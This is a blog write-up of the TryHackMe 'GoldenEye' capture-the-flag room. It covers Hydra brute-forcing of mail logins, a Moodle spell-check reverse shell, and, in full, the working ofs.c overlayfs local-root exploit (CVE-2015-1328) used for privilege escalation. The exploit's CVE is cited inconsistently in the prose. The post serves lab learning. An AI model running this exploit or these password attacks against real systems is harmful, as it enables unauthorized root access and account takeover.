TryHackMe - GoldenEye


Starting with nmap. An extremely useful tool.

We have several ports, time to see what services are running on them.

Let’s start with HTTP, maybe there will be something useful there.

Impressive. The room is themed around GoldenEye. We even have a pseudo-terminal. Important thing: we can see the next path ‘/sev-home/’, but that will have to wait for now. Time to stop playing around and take a look at the raw source code of the page.

At first glance, nothing special except for a custom JS file (terminal.js). Interesting to see what’s in there.

Lots of interesting information. We have two potential users: Boris and N****. Also a password, which isn’t readable for me yet, but it’s time to put on the apron (start working with CyberChef).

Since I have the readable password, it’s time to move to the next path. The transition requires authentication, but thanks to Boris, it’s incredibly simple.

Enough admiring the space battle videos, time to see the page source.

We have a second confirmation of the potential users. Since we have Boris’s password, let’s see if we can log in to his email.

Unfortunately, we have two different passwords; it could have been so simple. I didn’t find anything else interesting, so it’s time to bring out the big guns. Time for Hydra.

I could try checking both users, but I have a feeling that since Boris had such a weak password before, he didn’t try much here either. The worst part of all this is the waiting, but what can you do. Fortunately, the wait paid off and we have it.

Time to log in and then thank Boris. I’m logged in, time to see what he’s got.

3 messages are waiting in the inbox.

Trust is fundamental, but not in cybersecurity.

From the emails, we can find out that there’s also X***. Managed to extract some information, but nothing groundbreaking. However, I should have run Hydra for all users. Time to create a users file and run Hydra again.

After a short wait, I managed to find the password for the next user.

After logging in, we see two emails. Nothing interesting in the first, maybe the second email will give me more.

Here we have the specifics: username: ****, password: ****** and the domain name: severnaya-station.com.

Time to add this name to the DNS records in /etc/hosts. Let’s go to the site provided in the email: http://severnaya-station.com/gnocertdir/.

A proper organization that takes care of its employees. Logged in without any issues using the email credentials.

We’re on the other side. I’m curious about the message at the bottom from Dr. Doak. Time to check it.

Another user, quite a large organization. Haven’t found anything interesting on the page so far. Time for Hydra again.

After logging in, we see only one email, but it’s substantial.

It gives us Moodle credentials. Going back to Moodle and logging in with his credentials.

Browsing his profile, I came across something interesting: private files containing a .txt file (s3cret.txt). So, something potentially interesting.

A page with this photo.

Saving it to my computer, time to examine it. I’ll start with the metadata.

The description contains a string, likely in base64. After decoding, we have a potential next password. Maybe useful for steganography?

Dead end. Maybe I went too far, and it’s the admin password. Time to check.

Indeed it is. That was easier than I thought. This user has much higher privileges than the previous one, so it’s time to see what they can do. After spending quite a while searching for a potential vulnerability, I finally succeeded. Perfect place for a reverse shell.

Time to start the listener and launch the payload. It’s worth preparing the payload at https://www.revshells.com/ as it simplifies and speeds up the work.

In the plugins, you need to change the spell engine to PSpellShell. Once everything is set up, just create a new blog and run the spell check, and that’s how we’re in.

The room author recommends running linuxprivchecker.py to find vulnerabilities. I’d prefer to search for them myself, but I won’t argue. This kernel version is vulnerable to CVE-2015-3290/Exploit-DB 37292. Unfortunately, gcc is not present on the victim machine, but cc is. It was enough to change gcc -> cc in the code.

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)


*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT


user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ cc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)


greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>


#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"


static char child_stack[1024*1024];


static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);


    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";


    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");


    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }


    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}


int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;


    fprintf(stderr,"spawning threads\n");


    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");


        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }


            waitpid(pid, &status, 0);


        }


        waitpid(init, &status, 0);
        return 0;
    }


    usleep(300000);


    wait(NULL);


    fprintf(stderr,"child threads done\n");


    fd = open("/etc/ld.so.preload",O_WRONLY);


    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }


    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("cc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}
            

Just compile and run. Now just find the flag and we’re done.

I finished this room, but I’m not satisfied with it. Definitely too many repetitive layers and I used Hydra far too often. The vulnerability was handed on a silver platter by the author. I understand it was meant to save time, but it took away the most interesting part.

Bartłomiej Nowak

Bartłomiej Nowak

Programmer

Programmer focused on performance, simplicity, and good architecture. I enjoy working with modern JavaScript, TypeScript, and backend logic — building tools that scale and make sense.

Recent Posts